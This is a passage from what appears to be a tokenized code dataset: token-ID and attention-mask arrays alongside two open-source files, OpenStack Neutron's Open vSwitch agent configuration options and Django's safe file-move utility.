327, 325, 16, 446, 325, 23, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 17, 12, 221, 327, 325, 24, 446, 9530, 202, 199, 17, 12, 17, 12, 17, 12, 17, 12, 17, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
vveerava/Openstack
neutron/plugins/openvswitch/common/config.py
6
4097
# Copyright 2012 Red Hat, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from oslo.config import cfg from neutron.agent.common import config from neutron.plugins.common import constants as p_const from neutron.plugins.openvswitch.common import constants DEFAULT_BRIDGE_MAPPINGS = [] DEFAULT_VLAN_RANGES = [] DEFAULT_TUNNEL_RANGES = [] DEFAULT_TUNNEL_TYPES = [] ovs_opts = [ cfg.StrOpt('integration_bridge', default='br-int', help=_("Integration bridge to use.")), cfg.StrOpt('tunnel_bridge', default='br-tun', help=_("Tunnel bridge to use.")), cfg.StrOpt('int_peer_patch_port', default='patch-tun', help=_("Peer patch port in integration bridge for tunnel " "bridge.")), cfg.StrOpt('tun_peer_patch_port', default='patch-int', help=_("Peer patch port in tunnel bridge for integration " "bridge.")), cfg.IPOpt('local_ip', version=4, help=_("Local IP address of tunnel endpoint.")), cfg.ListOpt('bridge_mappings', default=DEFAULT_BRIDGE_MAPPINGS, help=_("List of <physical_network>:<bridge>. " "Deprecated for ofagent.")), cfg.BoolOpt('use_veth_interconnection', default=False, help=_("Use veths instead of patch ports to interconnect the " "integration bridge to physical bridges.")), ] agent_opts = [ cfg.IntOpt('polling_interval', default=2, help=_("The number of seconds the agent will wait between " "polling for local device changes.")), cfg.BoolOpt('minimize_polling', default=True, help=_("Minimize polling by monitoring ovsdb for interface " "changes.")), cfg.IntOpt('ovsdb_monitor_respawn_interval', default=constants.DEFAULT_OVSDBMON_RESPAWN, help=_("The number of seconds to wait before respawning the " "ovsdb monitor after losing communication with it.")), cfg.ListOpt('tunnel_types', default=DEFAULT_TUNNEL_TYPES, help=_("Network types supported by the agent " "(gre and/or vxlan).")), cfg.IntOpt('vxlan_udp_port', default=p_const.VXLAN_UDP_PORT, help=_("The UDP port to use for VXLAN tunnels.")), cfg.IntOpt('veth_mtu', help=_("MTU size of veth interfaces")), cfg.BoolOpt('l2_population', default=False, help=_("Use ML2 l2population mechanism driver to learn " "remote MAC and IPs and improve tunnel scalability.")), cfg.BoolOpt('arp_responder', default=False, help=_("Enable local ARP responder if it is supported. " "Requires OVS 2.1 and ML2 l2population driver. " "Allows the switch (when supporting an overlay) " "to respond to an ARP request locally without " "performing a costly ARP broadcast into the overlay.")), cfg.BoolOpt('dont_fragment', default=True, help=_("Set or un-set the don't fragment (DF) bit on " "outgoing IP packet carrying GRE/VXLAN tunnel.")), cfg.BoolOpt('enable_distributed_routing', default=False, help=_("Make the l2 agent run in DVR mode.")), ] cfg.CONF.register_opts(ovs_opts, "OVS") cfg.CONF.register_opts(agent_opts, "AGENT") config.register_agent_state_opts_helper(cfg.CONF) config.register_root_helper(cfg.CONF)
apache-2.0
[ 3, 1898, 6029, 9572, 13002, 12, 3277, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 504, 11258, 14, 888, 492, 4810, 199, 199, 504, 8224, 14, 4054, 14, 2330, 492, 1101, 199, 504, 8224, 14, 5265, 14, 2330, 492, 5262, 465, 299, 63, 1297, 199, 504, 8224, 14, 5265, 14, 1490, 23201, 14, 2330, 492, 5262, 421, 199, 3472, 63, 7184, 998, 4962, 63, 32362, 275, 942, 199, 3472, 63, 22716, 63, 50, 3986, 654, 275, 942, 199, 3472, 63, 52, 1734, 11301, 63, 50, 3986, 654, 275, 942, 199, 3472, 63, 52, 1734, 11301, 63, 7893, 275, 942, 199, 199, 22409, 63, 3291, 275, 359, 272, 4810, 14, 19340, 360, 15092, 63, 9528, 297, 849, 534, 3289, 13, 442, 297, 2049, 1720, 9384, 20405, 13928, 370, 675, 2685, 395, 272, 4810, 14, 19340, 360, 15360, 63, 9528, 297, 849, 534, 3289, 13, 10032, 297, 2049, 1720, 9384, 22664, 2715, 13928, 370, 675, 2685, 395, 272, 4810, 14, 19340, 360, 442, 63, 7866, 63, 2068, 63, 719, 297, 849, 534, 2068, 13, 10032, 297, 2049, 1720, 9384, 12566, 3371, 1844, 315, 13150, 13928, 367, 21496, 298, 1993, 298, 9528, 2685, 395, 272, 4810, 14, 19340, 360, 10032, 63, 7866, 63, 2068, 63, 719, 297, 849, 534, 2068, 13, 442, 297, 2049, 1720, 9384, 12566, 3371, 1844, 315, 21496, 13928, 367, 13150, 298, 1993, 298, 9528, 2685, 395, 272, 4810, 14, 41, 1512, 541, 360, 1832, 63, 711, 297, 1015, 29, 20, 12, 1598, 1720, 9384, 5339, 3531, 2287, 402, 21496, 6037, 2685, 395, 272, 4810, 14, 1296, 9985, 360, 9528, 63, 14632, 297, 355, 849, 29, 3472, 63, 7184, 998, 4962, 63, 32362, 12, 355, 1720, 9384, 1296, 402, 665, 15020, 63, 1200, 30, 16875, 9528, 10827, 298, 2432, 298, 19727, 367, 402, 4054, 2685, 395, 272, 4810, 14, 10349, 9985, 360, 1180, 63, 432, 273, 63, 1058, 2105, 297, 849, 29, 797, 12, 355, 1720, 9384, 6119, 11199, 273, 83, 3140, 402, 3371, 8873, 370, 1640, 2242, 314, 298, 2432, 298, 15092, 13928, 370, 14095, 330, 1677, 3389, 2685, 395, 199, 61, 199, 199, 4054, 63, 3291, 275, 359, 272, 4810, 14, 3241, 9985, 360, 17154, 63, 4284, 297, 849, 29, 18, 12, 2049, 1720, 9384, 1918, 1329, 402, 4696, 314, 6631, 911, 3618, 3382, 298, 1993, 298, 17154, 367, 2257, 2243, 4493, 2685, 395, 272, 4810, 14, 10349, 9985, 360, 19333, 63, 17154, 297, 355, 849, 29, 549, 12, 355, 1720, 9384, 4649, 11807, 12353, 701, 20391, 23671, 697, 367, 3217, 298, 2432, 298, 6627, 2685, 395, 272, 4810, 14, 3241, 9985, 360, 22409, 697, 63, 7157, 63, 470, 387, 3501, 63, 4284, 297, 2049, 849, 29, 5559, 14, 3472, 63, 47, 7428, 2846, 11710, 63, 3830, 8470, 3705, 12, 2049, 1720, 9384, 1918, 1329, 402, 4696, 370, 3618, 2544, 522, 387, 87, 1835, 314, 298, 1993, 298, 22409, 697, 8372, 2410, 560, 1044, 23506, 543, 652, 2685, 395, 272, 4810, 14, 1296, 9985, 360, 15360, 63, 1313, 297, 849, 29, 3472, 63, 52, 1734, 11301, 63, 7893, 12, 355, 1720, 9384, 4491, 2943, 3748, 701, 314, 6631, 298, 2432, 7340, 9157, 436, 15, 269, 29922, 1502, 680, 8150, 272, 4810, 14, 3241, 9985, 360, 18843, 1502, 63, 15036, 63, 719, 297, 849, 29, 80, 63, 1297, 14, 28493, 10825, 63, 17457, 63, 3657, 12, 2049, 1720, 9384, 1918, 21802, 1844, 370, 675, 367, 812, 56, 10825, 21496, 83, 2685, 395, 272, 4810, 14, 3241, 9985, 360, 432, 273, 63, 17696, 297, 2049, 1720, 9384, 5747, 53, 1568, 402, 11199, 273, 8386, 8150, 272, 4810, 14, 10349, 9985, 360, 76, 18, 63, 16003, 297, 849, 29, 797, 12, 355, 1720, 9384, 6119, 28007, 18, 634, 18, 16003, 14729, 5253, 370, 12537, 298, 2432, 298, 3846, 13347, 436, 30657, 436, 19053, 21496, 5269, 3616, 2685, 395, 272, 4810, 14, 10349, 9985, 360, 12868, 63, 3853, 424, 297, 849, 29, 797, 12, 355, 1720, 9384, 6476, 2257, 4160, 48, 9163, 424, 340, 652, 365, 3748, 14, 298, 2432, 298, 18153, 593, 7428, 499, 14, 17, 436, 28007, 18, 634, 18, 16003, 5253, 14, 298, 2432, 298, 19780, 314, 6258, 334, 6526, 21038, 376, 24393, 9, 298, 2432, 298, 475, 22722, 370, 376, 4160, 48, 1056, 17738, 1928, 298, 2432, 298, 15795, 316, 282, 7918, 590, 4160, 48, 11180, 1901, 314, 24393, 2685, 395, 272, 4810, 14, 10349, 9985, 360, 18671, 63, 7677, 297, 849, 29, 549, 12, 355, 1720, 9384, 1084, 503, 625, 13, 409, 314, 2793, 1133, 7956, 334, 3888, 9, 4546, 641, 298, 2432, 298, 19388, 3531, 3644, 25176, 316, 598, 907, 15, 28493, 10825, 21496, 2685, 395, 272, 4810, 14, 10349, 9985, 360, 4296, 63, 16832, 63, 9492, 297, 849, 29, 797, 12, 355, 1720, 9384, 5483, 314, 634, 18, 6631, 1255, 315, 577, 20271, 818, 2685, 395, 199, 61, 421, 199, 4128, 14, 3103, 14, 2683, 63, 3291, 8, 22409, 63, 3291, 12, 298, 47, 7428, 531, 199, 4128, 14, 3103, 14, 2683, 63, 3291, 8, 4054, 63, 3291, 12, 298, 14565, 531, 199, 888, 14, 2683, 63, 4054, 63, 929, 63, 3291, 63, 3676, 8, 4128, 14, 3103, 9, 199, 888, 14, 2683, 63, 1231, 63, 3676, 8, 4128, 14, 3103, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 6029, 9572, 13002, 12, 3277, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 504, 11258, 14, 888, 492, 4810, 199, 199, 504, 8224, 14, 4054, 14, 2330, 492, 1101, 199, 504, 8224, 14, 5265, 14, 2330, 492, 5262, 465, 299, 63, 1297, 199, 504, 8224, 14, 5265, 14, 1490, 23201, 14, 2330, 492, 5262, 421, 199, 3472, 63, 7184, 998, 4962, 63, 32362, 275, 942, 199, 3472, 63, 22716, 63, 50, 3986, 654, 275, 942, 199, 3472, 63, 52, 1734, 11301, 63, 50, 3986, 654, 275, 942, 199, 3472, 63, 52, 1734, 11301, 63, 7893, 275, 942, 199, 199, 22409, 63, 3291, 275, 359, 272, 4810, 14, 19340, 360, 15092, 63, 9528, 297, 849, 534, 3289, 13, 442, 297, 2049, 1720, 9384, 20405, 13928, 370, 675, 2685, 395, 272, 4810, 14, 19340, 360, 15360, 63, 9528, 297, 849, 534, 3289, 13, 10032, 297, 2049, 1720, 9384, 22664, 2715, 13928, 370, 675, 2685, 395, 272, 4810, 14, 19340, 360, 442, 63, 7866, 63, 2068, 63, 719, 297, 849, 534, 2068, 13, 10032, 297, 2049, 1720, 9384, 12566, 3371, 1844, 315, 13150, 13928, 367, 21496, 298, 1993, 298, 9528, 2685, 395, 272, 4810, 14, 19340, 360, 10032, 63, 7866, 63, 2068, 63, 719, 297, 849, 534, 2068, 13, 442, 297, 2049, 1720, 9384, 12566, 3371, 1844, 315, 21496, 13928, 367, 13150, 298, 1993, 298, 9528, 2685, 395, 272, 4810, 14, 41, 1512, 541, 360, 1832, 63, 711, 297, 1015, 29, 20, 12, 1598, 1720, 9384, 5339, 3531, 2287, 402, 21496, 6037, 2685, 395, 272, 4810, 14, 1296, 9985, 360, 9528, 63, 14632, 297, 355, 849, 29, 3472, 63, 7184, 998, 4962, 63, 32362, 12, 355, 1720, 9384, 1296, 402, 665, 15020, 63, 1200, 30, 16875, 9528, 10827, 298, 2432, 298, 19727, 367, 402, 4054, 2685, 395, 272, 4810, 14, 10349, 9985, 360, 1180, 63, 432, 273, 63, 1058, 2105, 297, 849, 29, 797, 12, 355, 1720, 9384, 6119, 11199, 273, 83, 3140, 402, 3371, 8873, 370, 1640, 2242, 314, 298, 2432, 298, 15092, 13928, 370, 14095, 330, 1677, 3389, 2685, 395, 199, 61, 199, 199, 4054, 63, 3291, 275, 359, 272, 4810, 14, 3241, 9985, 360, 17154, 63, 4284, 297, 849, 29, 18, 12, 2049, 1720, 9384, 1918, 1329, 402, 4696, 314, 6631, 911, 3618, 3382, 298, 1993, 298, 17154, 367, 2257, 2243, 4493, 2685, 395, 272, 4810, 14, 10349, 9985, 360, 19333, 63, 17154, 297, 355, 849, 29, 549, 12, 355, 1720, 9384, 4649, 11807, 12353, 701, 20391, 23671, 697, 367, 3217, 298, 2432, 298, 6627, 2685, 395, 272, 4810, 14, 3241, 9985, 360, 22409, 697, 63, 7157, 63, 470, 387, 3501, 63, 4284, 297, 2049, 849, 29, 5559, 14, 3472, 63, 47, 7428, 2846, 11710, 63, 3830, 8470, 3705, 12, 2049, 1720, 9384, 1918, 1329, 402, 4696, 370, 3618, 2544, 522, 387, 87, 1835, 314, 298, 1993, 298, 22409, 697, 8372, 2410, 560, 1044, 23506, 543, 652, 2685, 395, 272, 4810, 14, 1296, 9985, 360, 15360, 63, 1313, 297, 849, 29, 3472, 63, 52, 1734, 11301, 63, 7893, 12, 355, 1720, 9384, 4491, 2943, 3748, 701, 314, 6631, 298, 2432, 7340, 9157, 436, 15, 269, 29922, 1502, 680, 8150, 272, 4810, 14, 3241, 9985, 360, 18843, 1502, 63, 15036, 63, 719, 297, 849, 29, 80, 63, 1297, 14, 28493, 10825, 63, 17457, 63, 3657, 12, 2049, 1720, 9384, 1918, 21802, 1844, 370, 675, 367, 812, 56, 10825, 21496, 83, 2685, 395, 272, 4810, 14, 3241, 9985, 360, 432, 273, 63, 17696, 297, 2049, 1720, 9384, 5747, 53, 1568, 402, 11199, 273, 8386, 8150, 272, 4810, 14, 10349, 9985, 360, 76, 18, 63, 16003, 297, 849, 29, 797, 12, 355, 1720, 9384, 6119, 28007, 18, 634, 18, 16003, 14729, 5253, 370, 12537, 298, 2432, 298, 3846, 13347, 436, 30657, 436, 19053, 21496, 5269, 3616, 2685, 395, 272, 4810, 14, 10349, 9985, 360, 12868, 63, 3853, 424, 297, 849, 29, 797, 12, 355, 1720, 9384, 6476, 2257, 4160, 48, 9163, 424, 340, 652, 365, 3748, 14, 298, 2432, 298, 18153, 593, 7428, 499, 14, 17, 436, 28007, 18, 634, 18, 16003, 5253, 14, 298, 2432, 298, 19780, 314, 6258, 334, 6526, 21038, 376, 24393, 9, 298, 2432, 298, 475, 22722, 370, 376, 4160, 48, 1056, 17738, 1928, 298, 2432, 298, 15795, 316, 282, 7918, 590, 4160, 48, 11180, 1901, 314, 24393, 2685, 395, 272, 4810, 14, 10349, 9985, 360, 18671, 63, 7677, 297, 849, 29, 549, 12, 355, 1720, 9384, 1084, 503, 625, 13, 409, 314, 2793, 1133, 7956, 334, 3888, 9, 4546, 641, 298, 2432, 298, 19388, 3531, 3644, 25176, 316, 598, 907, 15, 28493, 10825, 21496, 2685, 395, 272, 4810, 14, 10349, 9985, 360, 4296, 63, 16832, 63, 9492, 297, 849, 29, 797, 12, 355, 1720, 9384, 5483, 314, 634, 18, 6631, 1255, 315, 577, 20271, 818, 2685, 395, 199, 61, 421, 199, 4128, 14, 3103, 14, 2683, 63, 3291, 8, 22409, 63, 3291, 12, 298, 47, 7428, 531, 199, 4128, 14, 3103, 14, 2683, 63, 3291, 8, 4054, 63, 3291, 12, 298, 14565, 531, 199, 888, 14, 2683, 63, 4054, 63, 929, 63, 3291, 63, 3676, 8, 4128, 14, 3103, 9, 199, 888, 14, 2683, 63, 1231, 63, 3676, 8, 4128, 14, 3103, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
errx/django
django/core/files/move.py
103
3164
""" Move a file in the safest way possible:: >>> from django.core.files.move import file_move_safe >>> file_move_safe("/tmp/old_file", "/tmp/new_file") """ import os from django.core.files import locks try: from shutil import copystat except ImportError: import stat def copystat(src, dst): """Copy all stat info (mode bits, atime and mtime) from src to dst""" st = os.stat(src) mode = stat.S_IMODE(st.st_mode) if hasattr(os, 'utime'): os.utime(dst, (st.st_atime, st.st_mtime)) if hasattr(os, 'chmod'): os.chmod(dst, mode) __all__ = ['file_move_safe'] def _samefile(src, dst): # Macintosh, Unix. if hasattr(os.path, 'samefile'): try: return os.path.samefile(src, dst) except OSError: return False # All other platforms: check for same pathname. return (os.path.normcase(os.path.abspath(src)) == os.path.normcase(os.path.abspath(dst))) def file_move_safe(old_file_name, new_file_name, chunk_size=1024 * 64, allow_overwrite=False): """ Moves a file from one location to another in the safest way possible. First, tries ``os.rename``, which is simple but will break across filesystems. If that fails, streams manually from one file to another in pure Python. If the destination file exists and ``allow_overwrite`` is ``False``, this function will throw an ``IOError``. """ # There's no reason to move if we don't have to. if _samefile(old_file_name, new_file_name): return try: # If the destination file exists and allow_overwrite is False then raise an IOError if not allow_overwrite and os.access(new_file_name, os.F_OK): raise IOError("Destination file %s exists and allow_overwrite is False" % new_file_name) os.rename(old_file_name, new_file_name) return except OSError: # This will happen with os.rename if moving to another filesystem # or when moving opened files on certain operating systems pass # first open the old file, so that it won't go away with open(old_file_name, 'rb') as old_file: # now open the new file, not forgetting allow_overwrite fd = os.open(new_file_name, (os.O_WRONLY | os.O_CREAT | getattr(os, 'O_BINARY', 0) | (os.O_EXCL if not allow_overwrite else 0))) try: locks.lock(fd, locks.LOCK_EX) current_chunk = None while current_chunk != b'': current_chunk = old_file.read(chunk_size) os.write(fd, current_chunk) finally: locks.unlock(fd) os.close(fd) copystat(old_file_name, new_file_name) try: os.remove(old_file_name) except OSError as e: # Certain operating systems (Cygwin and Windows) # fail when deleting opened files, ignore it. (For the # systems where this happens, temporary files will be auto-deleted # on close anyway.) if getattr(e, 'winerror', 0) != 32 and getattr(e, 'errno', 0) != 13: raise
bsd-3-clause
[ 624, 199, 10370, 282, 570, 315, 314, 17925, 597, 4340, 3962, 447, 339, 1306, 687, 1639, 14, 1018, 14, 1725, 14, 1185, 492, 570, 63, 1185, 63, 3489, 272, 1306, 570, 63, 1185, 63, 3489, 4769, 2791, 15, 1753, 63, 493, 401, 3286, 2791, 15, 1222, 63, 493, 531, 199, 624, 199, 199, 646, 747, 199, 504, 1639, 14, 1018, 14, 1725, 492, 23340, 199, 199, 893, 26, 272, 687, 5145, 492, 1331, 3736, 199, 2590, 3545, 26, 272, 492, 5672, 339, 347, 1331, 3736, 8, 2164, 12, 5042, 304, 267, 408, 5116, 1006, 5672, 2256, 334, 632, 5821, 12, 282, 521, 436, 15005, 9, 687, 2928, 370, 5042, 624, 267, 410, 275, 747, 14, 3736, 8, 2164, 9, 267, 818, 275, 5672, 14, 51, 63, 1469, 9125, 8, 270, 14, 270, 63, 632, 9, 267, 340, 2688, 8, 736, 12, 283, 24043, 735, 288, 747, 14, 24043, 8, 5119, 12, 334, 270, 14, 270, 63, 27867, 12, 410, 14, 270, 63, 8180, 430, 267, 340, 2688, 8, 736, 12, 283, 11693, 735, 288, 747, 14, 11693, 8, 5119, 12, 818, 9, 199, 199, 363, 452, 363, 275, 788, 493, 63, 1185, 63, 3489, 418, 421, 199, 318, 485, 7191, 493, 8, 2164, 12, 5042, 304, 272, 327, 10444, 9924, 609, 12, 13074, 14, 272, 340, 2688, 8, 736, 14, 515, 12, 283, 7191, 493, 735, 267, 862, 26, 288, 372, 747, 14, 515, 14, 7191, 493, 8, 2164, 12, 5042, 9, 267, 871, 6440, 26, 288, 372, 756, 339, 327, 2900, 1163, 10677, 26, 1104, 367, 2011, 11776, 14, 272, 372, 334, 736, 14, 515, 14, 21288, 8, 736, 14, 515, 14, 4832, 8, 2164, 430, 508, 288, 747, 14, 515, 14, 21288, 8, 736, 14, 515, 14, 4832, 8, 5119, 1724, 421, 199, 318, 570, 63, 1185, 63, 3489, 8, 1753, 63, 493, 63, 354, 12, 892, 63, 493, 63, 354, 12, 3728, 63, 890, 29, 7727, 627, 5049, 12, 2040, 63, 14658, 29, 797, 304, 272, 408, 272, 3930, 2310, 282, 570, 687, 1373, 2909, 370, 4573, 315, 314, 17925, 597, 4340, 3962, 14, 339, 7758, 12, 11275, 1124, 736, 14, 8165, 4542, 1314, 365, 3486, 1325, 911, 2059, 9371, 10036, 83, 14, 272, 982, 626, 6918, 12, 13788, 10250, 687, 1373, 570, 370, 4573, 315, 15111, 2018, 14, 339, 982, 314, 5724, 570, 3495, 436, 1124, 3306, 63, 14658, 1040, 365, 1124, 797, 4542, 642, 272, 805, 911, 7978, 376, 1124, 13760, 4345, 272, 408, 339, 327, 6006, 1159, 949, 4499, 370, 4057, 340, 781, 2793, 1133, 1172, 370, 14, 272, 340, 485, 7191, 493, 8, 1753, 63, 493, 63, 354, 12, 892, 63, 493, 63, 354, 304, 267, 372, 339, 862, 26, 267, 327, 982, 314, 5724, 570, 3495, 436, 2040, 63, 14658, 365, 756, 2066, 746, 376, 5925, 267, 340, 440, 2040, 63, 14658, 436, 747, 14, 2732, 8, 1222, 63, 493, 63, 354, 12, 747, 14, 38, 63, 3593, 304, 288, 746, 5925, 480, 13151, 570, 450, 83, 3495, 436, 2040, 63, 14658, 365, 756, 2, 450, 892, 63, 493, 63, 354, 9, 398, 747, 14, 8165, 8, 1753, 63, 493, 63, 354, 12, 892, 63, 493, 63, 354, 9, 267, 372, 272, 871, 6440, 26, 267, 327, 961, 911, 5992, 543, 747, 14, 8165, 340, 12876, 370, 4573, 10036, 267, 327, 503, 1380, 12876, 12123, 1584, 641, 9842, 17406, 10460, 267, 986, 339, 327, 1642, 1551, 314, 2269, 570, 12, 880, 626, 652, 7859, 1133, 2621, 13437, 272, 543, 1551, 8, 1753, 63, 493, 63, 354, 12, 283, 4848, 358, 465, 2269, 63, 493, 26, 267, 327, 3063, 1551, 314, 892, 570, 12, 440, 19459, 1337, 2040, 63, 14658, 267, 6111, 275, 747, 14, 1490, 8, 1222, 63, 493, 63, 354, 12, 334, 736, 14, 47, 63, 6524, 10452, 1204, 747, 14, 47, 63, 32120, 1204, 2519, 8, 736, 12, 283, 47, 63, 13246, 297, 378, 9, 1204, 3660, 334, 736, 14, 47, 63, 29647, 340, 440, 2040, 63, 14658, 587, 378, 1724, 267, 862, 26, 288, 23340, 14, 831, 8, 2592, 12, 23340, 14, 4406, 63, 1438, 9, 288, 1453, 63, 4604, 275, 488, 288, 1830, 1453, 63, 4604, 1137, 330, 7, 356, 355, 1453, 63, 4604, 275, 2269, 63, 493, 14, 739, 8, 4604, 63, 890, 9, 355, 747, 14, 952, 8, 2592, 12, 1453, 63, 4604, 9, 267, 3753, 26, 288, 23340, 14, 17966, 8, 2592, 9, 288, 747, 14, 1600, 8, 2592, 9, 272, 1331, 3736, 8, 1753, 63, 493, 63, 354, 12, 892, 63, 493, 63, 354, 9, 339, 862, 26, 267, 747, 14, 2168, 8, 1753, 63, 493, 63, 354, 9, 272, 871, 6440, 465, 325, 26, 267, 327, 11002, 877, 17406, 10460, 334, 35, 18313, 436, 5417, 9, 267, 327, 2449, 1380, 13794, 12123, 1584, 12, 3686, 652, 14, 221, 334, 1858, 314, 267, 327, 10460, 2382, 642, 10986, 12, 7937, 1584, 911, 506, 2599, 13, 6062, 267, 327, 641, 4002, 15988, 4959, 267, 340, 2519, 8, 69, 12, 283, 2676, 705, 297, 378, 9, 1137, 4337, 436, 2519, 8, 69, 12, 283, 7931, 297, 378, 9, 1137, 4944, 26, 288, 746, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 